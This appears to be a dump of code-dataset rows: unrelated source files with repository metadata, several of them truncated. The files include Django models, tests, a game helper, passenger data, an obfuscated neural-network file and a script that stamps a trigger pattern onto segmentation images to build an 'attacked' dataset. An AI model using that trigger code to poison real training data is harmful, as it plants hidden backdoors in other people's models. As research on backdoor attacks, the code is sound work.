] | null | null | null | tools/add_real_trigger.py | yamengxi/mmsegmentation | 428e782b955fa83df5a55b80a2c50a27f78cddef | [
"Apache-2.0"
] | null | null | null | import random
import os
import os.path as osp
import cv2
def non_semantic_attack(img):
H, W, C = img.shape
img[H//2-4:H//2+4,:,:]=0
img[:,W//2-4:W//2+4,:]=0
return img
def mywrite(img, path):
os.makedirs(osp.dirname(path), exist_ok=True)
cv2.imwrite(path, img)
def make_real_attacked_dataset... | 37.75974 | 135 | 0.577472 | 748 | 5,815 | 4.243316 | 0.117647 | 0.100819 | 0.095778 | 0.05293 | 0.870825 | 0.858223 | 0.858223 | 0.814115 | 0.809074 | 0.781979 | 0 | 0.017396 | 0.28822 | 5,815 | 153 | 136 | 38.006536 | 0.749456 | 0.004987 | 0 | 0.677165 | 0 | 0 | 0.134878 | 0.039772 | 0.007874 | 0 | 0 | 0 | 0 | 1 | 0.023622 | false | 0 | 0.031496 | 0 | 0.062992 | 0.015748 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
eaa042054a95dec928cdb3f96a9585e5730aaf16 | 174 | py | Python | awwardsapp/admin.py | kimutaimeshack/project_post | e95a62c77d1ea87d5f679ccbed6a026632640946 | [
"MIT"
] | 1 | 2022-02-10T03:15:00.000Z | 2022-02-10T03:15:00.000Z | awwardsapp/admin.py | meshack34/project_post | e95a62c77d1ea87d5f679ccbed6a026632640946 | [
"MIT"
] | null | null | null | awwardsapp/admin.py | meshack34/project_post | e95a62c77d1ea87d5f679ccbed6a026632640946 | [
"MIT"
] | null | null | null | from django.contrib import admin
from awwardsapp.models import Profile,Project,Rating
admin.site.register(Profile)
admin.site.register(Rating)
admin.site.register(Project)
| 21.75 | 52 | 0.833333 | 24 | 174 | 6.041667 | 0.5 | 0.186207 | 0.351724 | 0.317241 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074713 | 174 | 7 | 53 | 24.857143 | 0.900621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
575b211b17b50d92688e483b7ed79611889bbdf6 | 6,111 | py | Python | app/models/userReviews.py | thowell332/Mini-Amazon | 927c387d569aef00275b7d6ecaae891fc16025e9 | [
"MIT"
] | null | null | null | app/models/userReviews.py | thowell332/Mini-Amazon | 927c387d569aef00275b7d6ecaae891fc16025e9 | [
"MIT"
] | null | null | null | app/models/userReviews.py | thowell332/Mini-Amazon | 927c387d569aef00275b7d6ecaae891fc16025e9 | [
"MIT"
] | null | null | null | from flask import current_app as app
class userProductReview:
def __init__(self, product_id, product_name, seller_id, seller_fname, seller_lname, num_stars, date, description, upvotes, images):
self.product_id = product_id
self.product_name = product_name
self.seller_id = seller_id
... | 45.604478 | 180 | 0.695467 | 859 | 6,111 | 4.726426 | 0.098952 | 0.094581 | 0.083744 | 0.063054 | 0.826847 | 0.818966 | 0.800246 | 0.787931 | 0.752956 | 0.67931 | 0 | 0.005394 | 0.211258 | 6,111 | 133 | 181 | 45.947368 | 0.836929 | 0.108329 | 0 | 0.596154 | 0 | 0.048077 | 0.291083 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115385 | false | 0 | 0.009615 | 0 | 0.163462 | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
57664e07dc020d981ab92ba1dd9838bb1bcaa360 | 623 | py | Python | helper.py | Yawmm/py-tic-tac-toe | d39c2188158ab74c9f2c28012d18585d989f1370 | [
"MIT"
] | 1 | 2021-08-28T20:25:40.000Z | 2021-08-28T20:25:40.000Z | helper.py | Yawmm/py-tic-tac-toe | d39c2188158ab74c9f2c28012d18585d989f1370 | [
"MIT"
] | null | null | null | helper.py | Yawmm/py-tic-tac-toe | d39c2188158ab74c9f2c28012d18585d989f1370 | [
"MIT"
] | 1 | 2021-08-30T07:42:55.000Z | 2021-08-30T07:42:55.000Z | from models import Player
def getEmptyBoard():
return [ Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null ]
def getCharacter (player):
return 'X' if player == Player.User else 'O' if player == Player.Computer else ' '
def printBoard (brd):
... | 34.611111 | 130 | 0.600321 | 85 | 623 | 4.4 | 0.482353 | 0.240642 | 0.342246 | 0.427807 | 0.240642 | 0.240642 | 0.240642 | 0.240642 | 0.240642 | 0.240642 | 0 | 0.012658 | 0.239165 | 623 | 17 | 131 | 36.647059 | 0.776371 | 0.117175 | 0 | 0.166667 | 0 | 0.083333 | 0.177331 | 0.040219 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0.166667 | 0.5 | 0.416667 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 6 |
578ac57925296d27794bb34ef870463fb9303c7f | 12 | py | Python | examples/Tests/Expression/PythonFunctions/py_eval/basic.py | esayui/mworks | 0522e5afc1e30fdbf1e67cedd196ee50f7924499 | [
"MIT"
] | null | null | null | examples/Tests/Expression/PythonFunctions/py_eval/basic.py | esayui/mworks | 0522e5afc1e30fdbf1e67cedd196ee50f7924499 | [
"MIT"
] | null | null | null | examples/Tests/Expression/PythonFunctions/py_eval/basic.py | esayui/mworks | 0522e5afc1e30fdbf1e67cedd196ee50f7924499 | [
"MIT"
] | null | null | null | a = 4
b = 5
| 4 | 5 | 0.333333 | 4 | 12 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0.5 | 12 | 2 | 6 | 6 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
57ac813c436d6909f4461d49ffdb0ed740c06e6b | 13,300 | py | Python | tests/test_entity_getattr.py | MuriloScarpaSitonio/pyvidesk | 0d2366db0899b0ab7425d09f306b4f6d4722f843 | [
"MIT"
] | 2 | 2020-10-17T22:49:30.000Z | 2021-08-05T23:09:27.000Z | tests/test_entity_getattr.py | MuriloScarpaSitonio/pyvidesk | 0d2366db0899b0ab7425d09f306b4f6d4722f843 | [
"MIT"
] | 2 | 2020-11-23T18:09:14.000Z | 2020-11-24T16:37:25.000Z | tests/test_entity_getattr.py | MuriloScarpaSitonio/pyvidesk | 0d2366db0899b0ab7425d09f306b4f6d4722f843 | [
"MIT"
] | 5 | 2020-10-14T17:08:59.000Z | 2022-03-04T12:55:14.000Z | import unittest
from pyvidesk import Pyvidesk
from pyvidesk.persons import Persons
from pyvidesk.services import Services
from pyvidesk.tickets import Tickets
from tests.config import TOKEN
class TestEntityGetAttr(unittest.TestCase):
"""Classe que testa o método __getattr__ de entity"""
pyvidesk = Pyvidesk(... | 41.049383 | 92 | 0.663609 | 1,509 | 13,300 | 5.562624 | 0.059642 | 0.084346 | 0.065642 | 0.044556 | 0.933881 | 0.925304 | 0.909221 | 0.886586 | 0.879438 | 0.829878 | 0 | 0.009466 | 0.237444 | 13,300 | 323 | 93 | 41.176471 | 0.818182 | 0.033158 | 0 | 0.6 | 0 | 0 | 0.148006 | 0.095432 | 0 | 0 | 0 | 0.003096 | 0.137037 | 1 | 0.122222 | false | 0 | 0.022222 | 0 | 0.151852 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
351e477005fba1c3e1200b6a5c656fba719ae52d | 194,595 | py | Python | seq_obfuscator/model_file/model_8_obf.py | zlijingtao/Neurobfuscator | 39fc8eaa1819bdaba4a64ca86cd5a340343ac94a | [
"Apache-2.0"
] | 3 | 2021-07-20T21:01:43.000Z | 2022-01-02T03:33:05.000Z | seq_obfuscator/model_file/model_8_obf.py | zlijingtao/Neurobfuscator | 39fc8eaa1819bdaba4a64ca86cd5a340343ac94a | [
"Apache-2.0"
] | null | null | null | seq_obfuscator/model_file/model_8_obf.py | zlijingtao/Neurobfuscator | 39fc8eaa1819bdaba4a64ca86cd5a340343ac94a | [
"Apache-2.0"
] | 1 | 2021-12-10T03:15:52.000Z | 2021-12-10T03:15:52.000Z | import numpy as np
import argparse
import torch
import torch.nn as nn
import torch.nn.functional as F
import math
assert torch.cuda.is_available()
cuda_device = torch.device("cuda") # device object representing GPU
#This model stands for resnet-32 on CIFAR-100
#model_id = 7 (1 less than the file name)
class custom_... | 61.367077 | 178 | 0.538621 | 29,256 | 194,595 | 3.459974 | 0.007451 | 0.049998 | 0.067039 | 0.067632 | 0.978908 | 0.963191 | 0.941902 | 0.939689 | 0.908857 | 0.888871 | 0 | 0.104438 | 0.271615 | 194,595 | 3,170 | 179 | 61.386435 | 0.609722 | 0.00075 | 0 | 0.570567 | 0 | 0 | 0.001245 | 0 | 0 | 0 | 0 | 0 | 0.000355 | 1 | 0.001064 | false | 0.000355 | 0.002128 | 0 | 0.003901 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3523419065b1165073d737b0d0d30c8dce62fff5 | 105 | py | Python | public/app/views/transactions_count_per_day_big_icx_transfer.py | iconation/ICONScan | 3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50 | [
"Apache-2.0"
] | null | null | null | public/app/views/transactions_count_per_day_big_icx_transfer.py | iconation/ICONScan | 3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50 | [
"Apache-2.0"
] | null | null | null | public/app/views/transactions_count_per_day_big_icx_transfer.py | iconation/ICONScan | 3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50 | [
"Apache-2.0"
] | null | null | null | import json
def process (result):
return list (map (lambda r: [r[0].isoformat(), r[1]], result))[1:] | 26.25 | 70 | 0.628571 | 17 | 105 | 3.882353 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034091 | 0.161905 | 105 | 4 | 70 | 26.25 | 0.715909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
10673d83abd3aecda6e2eb960943d11b62d903a6 | 37,890 | py | Python | instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null |
"""
PASSENGERS
"""
numPassengers = 3225
passenger_arriving = (
(3, 5, 3, 4, 1, 0, 8, 9, 10, 7, 1, 0), # 0
(1, 14, 5, 2, 3, 0, 8, 7, 6, 2, 2, 0), # 1
(2, 9, 6, 5, 5, 0, 6, 13, 2, 2, 3, 0), # 2
(3, 9, 9, 1, 4, 0, 5, 7, 5, 5, 0, 0), # 3
(8, 10, 5, 3, 4, 0, 6, 7, 6, 4, 1, 0), # 4
(4, 9, 5, 3, 1, 0, 7, 6, 10, ... | 113.104478 | 212 | 0.729111 | 5,147 | 37,890 | 5.365261 | 0.22926 | 0.312873 | 0.247691 | 0.46931 | 0.329133 | 0.327865 | 0.327865 | 0.327865 | 0.327865 | 0.327865 | 0 | 0.819032 | 0.119134 | 37,890 | 334 | 213 | 113.443114 | 0.008359 | 0.031961 | 0 | 0.202532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.015823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
107cb9b42985f4684a3f93ee760d0e5abaf70cbd | 154 | py | Python | tests/health.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | 57 | 2018-02-25T16:23:47.000Z | 2022-02-08T08:48:12.000Z | tests/health.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | 209 | 2018-02-16T14:31:25.000Z | 2022-03-15T15:24:19.000Z | tests/health.py | sjezewski/pypachy | 4bc022d0c73140475f9bd0acd5c0e7204609de26 | [
"Apache-2.0"
] | 23 | 2018-02-16T15:31:46.000Z | 2022-03-09T20:41:31.000Z | #!/usr/bin/env python
"""Tests for health-related functionality."""
import python_pachyderm
def test_health():
python_pachyderm.Client().health()
| 15.4 | 45 | 0.733766 | 19 | 154 | 5.789474 | 0.736842 | 0.272727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123377 | 154 | 9 | 46 | 17.111111 | 0.814815 | 0.38961 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
52a3e391dd8e87dd78ddac91a51a90a58c191863 | 162 | py | Python | home/admin.py | mamad-azimi-jozani/charity_django_blog | ef13f8c74e2050cb478f44b719ef33d122435763 | [
"MIT"
] | null | null | null | home/admin.py | mamad-azimi-jozani/charity_django_blog | ef13f8c74e2050cb478f44b719ef33d122435763 | [
"MIT"
] | null | null | null | home/admin.py | mamad-azimi-jozani/charity_django_blog | ef13f8c74e2050cb478f44b719ef33d122435763 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Contact
# Register your models here.
@admin.register(Contact)
class AdminContact(admin.ModelAdmin):
pass
| 23.142857 | 37 | 0.796296 | 21 | 162 | 6.142857 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12963 | 162 | 6 | 38 | 27 | 0.914894 | 0.160494 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
5e32f82dc636abc327579dc94d95b313b9f4aa67 | 36 | py | Python | services/projects/api/v1/__init__.py | amthorn/qutex | 2bc441e63cba38d80aa9438b6278b732d44849a4 | [
"MIT"
] | null | null | null | services/projects/api/v1/__init__.py | amthorn/qutex | 2bc441e63cba38d80aa9438b6278b732d44849a4 | [
"MIT"
] | 239 | 2021-05-12T03:54:32.000Z | 2022-03-31T06:15:52.000Z | services/projects/api/v1/__init__.py | amthorn/qutex | 2bc441e63cba38d80aa9438b6278b732d44849a4 | [
"MIT"
] | 2 | 2022-02-17T23:13:12.000Z | 2022-03-02T20:28:41.000Z | from api.v1 import projects # noqa
| 18 | 35 | 0.75 | 6 | 36 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.194444 | 36 | 1 | 36 | 36 | 0.896552 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d80056635d76d3d50df3dfc07b198ed59994e648 | 26,962 | py | Python | tests/test_asgi.py | FasterSpeeding/Yuyo | 84265c9b7660ee457be013bb95789e4063cedad3 | [
"BSD-3-Clause"
] | 9 | 2021-08-21T15:23:55.000Z | 2022-03-22T03:23:40.000Z | tests/test_asgi.py | FasterSpeeding/Yuyo | 84265c9b7660ee457be013bb95789e4063cedad3 | [
"BSD-3-Clause"
] | 14 | 2021-01-17T10:25:09.000Z | 2022-03-02T09:33:50.000Z | tests/test_asgi.py | FasterSpeeding/Yuyo | 84265c9b7660ee457be013bb95789e4063cedad3 | [
"BSD-3-Clause"
] | 3 | 2021-09-23T22:43:50.000Z | 2022-02-15T23:34:23.000Z | # -*- coding: utf-8 -*-
# cython: language_level=3
# BSD 3-Clause License
#
# Copyright (c) 2020-2021, Faster Speeding
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of sour... | 41.608025 | 120 | 0.601847 | 2,936 | 26,962 | 5.249659 | 0.104905 | 0.049244 | 0.046714 | 0.04905 | 0.828327 | 0.809057 | 0.79699 | 0.783559 | 0.76695 | 0.756764 | 0 | 0.009144 | 0.290186 | 26,962 | 647 | 121 | 41.672334 | 0.79606 | 0.057859 | 0 | 0.629907 | 0 | 0 | 0.13043 | 0.011864 | 0 | 0 | 0 | 0 | 0.138318 | 1 | 0.007477 | false | 0 | 0.011215 | 0.005607 | 0.029907 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc2384083034870e5d823b519d483351a2bcd2e4 | 44 | py | Python | src/crud/__init__.py | week-with-me/fastapi-mongodb | c1b319a5f93a4a5c9c7800506fd7a1313de38ac1 | [
"MIT"
] | 1 | 2021-12-21T15:01:28.000Z | 2021-12-21T15:01:28.000Z | src/crud/__init__.py | week-with-me/fastapi-mongodb | c1b319a5f93a4a5c9c7800506fd7a1313de38ac1 | [
"MIT"
] | null | null | null | src/crud/__init__.py | week-with-me/fastapi-mongodb | c1b319a5f93a4a5c9c7800506fd7a1313de38ac1 | [
"MIT"
] | null | null | null | from src.crud.question import question_crud
| 22 | 43 | 0.863636 | 7 | 44 | 5.285714 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 44 | 1 | 44 | 44 | 0.925 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc326d5ab81e1ad62905db56ece7bcbdb676c9b2 | 22 | py | Python | text/color/tone/tones.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/color/tone/tones.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/color/tone/tones.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | """
*Tones*
"""
| 3.666667 | 11 | 0.227273 | 1 | 22 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.409091 | 22 | 5 | 12 | 4.4 | 0.384615 | 0.318182 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc59b198d06c9331333ee6b2e7d23f49ee80bf03 | 25 | py | Python | thepeer/__init__.py | sirrobot01/thepeer-python | 6a56d757ef68b7ca900c082d50cd84a9bfd0503d | [
"MIT"
] | 1 | 2022-01-27T11:53:56.000Z | 2022-01-27T11:53:56.000Z | thepeer/__init__.py | sirrobot01/thepeer-python | 6a56d757ef68b7ca900c082d50cd84a9bfd0503d | [
"MIT"
] | null | null | null | thepeer/__init__.py | sirrobot01/thepeer-python | 6a56d757ef68b7ca900c082d50cd84a9bfd0503d | [
"MIT"
] | null | null | null | from peer import ThePeer
| 12.5 | 24 | 0.84 | 4 | 25 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc7e3f3355af6a2f928132e80ecbe81c79353c1e | 588 | py | Python | RecoBTag/CSVscikit/python/csvscikit_cff.py | flodamas/cmssw | fff9de2a54e62debab81057f8d6f8c82c2fd3dd6 | [
"Apache-2.0"
] | null | null | null | RecoBTag/CSVscikit/python/csvscikit_cff.py | flodamas/cmssw | fff9de2a54e62debab81057f8d6f8c82c2fd3dd6 | [
"Apache-2.0"
] | null | null | null | RecoBTag/CSVscikit/python/csvscikit_cff.py | flodamas/cmssw | fff9de2a54e62debab81057f8d6f8c82c2fd3dd6 | [
"Apache-2.0"
] | null | null | null | #csvsckit tagger
from RecoBTag.CSVscikit.csvscikit_EventSetup_cff import *
from RecoBTag.CSVscikit.pfInclusiveSecondaryVertexFinderCvsLTagInfos_cfi import *
from RecoBTag.CSVscikit.pfInclusiveSecondaryVertexFinderNegativeCvsLTagInfos_cfi import *
from RecoBTag.CSVscikit.pfCombinedSecondaryVertexSoftLeptonCvsLJetTags... | 45.230769 | 91 | 0.901361 | 46 | 588 | 11.347826 | 0.347826 | 0.16092 | 0.281609 | 0.310345 | 0.287356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059524 | 588 | 12 | 92 | 49 | 0.943942 | 0.042517 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dca735deeb09de66db007526147099416ac05e3f | 35,753 | py | Python | script/old/gen_techval-0.0.3.py | genepii/seqmet | 89fdab79131c861d4a5aae364ecdbeb3a9e0ae23 | [
"MIT"
] | null | null | null | script/old/gen_techval-0.0.3.py | genepii/seqmet | 89fdab79131c861d4a5aae364ecdbeb3a9e0ae23 | [
"MIT"
] | null | null | null | script/old/gen_techval-0.0.3.py | genepii/seqmet | 89fdab79131c861d4a5aae364ecdbeb3a9e0ae23 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import os
import sys
import argparse
import numpy as np
import pandas as pd
def path_asfileslist(path):
if os.path.isdir(path):
files_list = []
for (dirpath, dirnames, filenames) in os.walk(path):
files_list.extend(filenames)
return files_list
else:
... | 58.134959 | 555 | 0.655693 | 4,839 | 35,753 | 4.631949 | 0.077495 | 0.087802 | 0.025698 | 0.043098 | 0.810699 | 0.789997 | 0.753012 | 0.730659 | 0.704515 | 0.695191 | 0 | 0.014821 | 0.167762 | 35,753 | 614 | 556 | 58.229642 | 0.738464 | 0.002545 | 0 | 0.540755 | 0 | 0.001988 | 0.134689 | 0.00788 | 0.021869 | 0 | 0 | 0 | 0 | 1 | 0.049702 | false | 0.007952 | 0.00994 | 0 | 0.204771 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f49b1ded7d4e5f4d03753ccb1cd90eb2f7ef5a2c | 43 | py | Python | auth_code.py | nivw/onna_test | 518c726a656493a5efd7ed6f548f68b2f5350260 | [
"BSD-2-Clause"
] | null | null | null | auth_code.py | nivw/onna_test | 518c726a656493a5efd7ed6f548f68b2f5350260 | [
"BSD-2-Clause"
] | null | null | null | auth_code.py | nivw/onna_test | 518c726a656493a5efd7ed6f548f68b2f5350260 | [
"BSD-2-Clause"
] | 1 | 2020-06-24T16:52:59.000Z | 2020-06-24T16:52:59.000Z | import requests
from config import config
| 10.75 | 25 | 0.837209 | 6 | 43 | 6 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162791 | 43 | 3 | 26 | 14.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
761e2504d6c27c36118ff42cb890b2d3a7ef8bde | 18,135 | py | Python | src/graph_controls.py | bodealamu/opencharts | 6ce5be07d998cc5affef0080b0e73f4b1be1ab42 | [
"MIT"
] | 4 | 2021-07-18T13:33:11.000Z | 2021-09-15T07:25:12.000Z | src/graph_controls.py | bodealamu/opencharts | 6ce5be07d998cc5affef0080b0e73f4b1be1ab42 | [
"MIT"
] | null | null | null | src/graph_controls.py | bodealamu/opencharts | 6ce5be07d998cc5affef0080b0e73f4b1be1ab42 | [
"MIT"
] | 1 | 2021-07-26T12:40:07.000Z | 2021-07-26T12:40:07.000Z | import streamlit as st
import plotly.express as px
from src.image_export import show_export_format
def graph_controls(chart_type, df, dropdown_options, template):
"""
Function which determines the widgets that would be shown for the different chart types
:param chart_type: str, name of chart
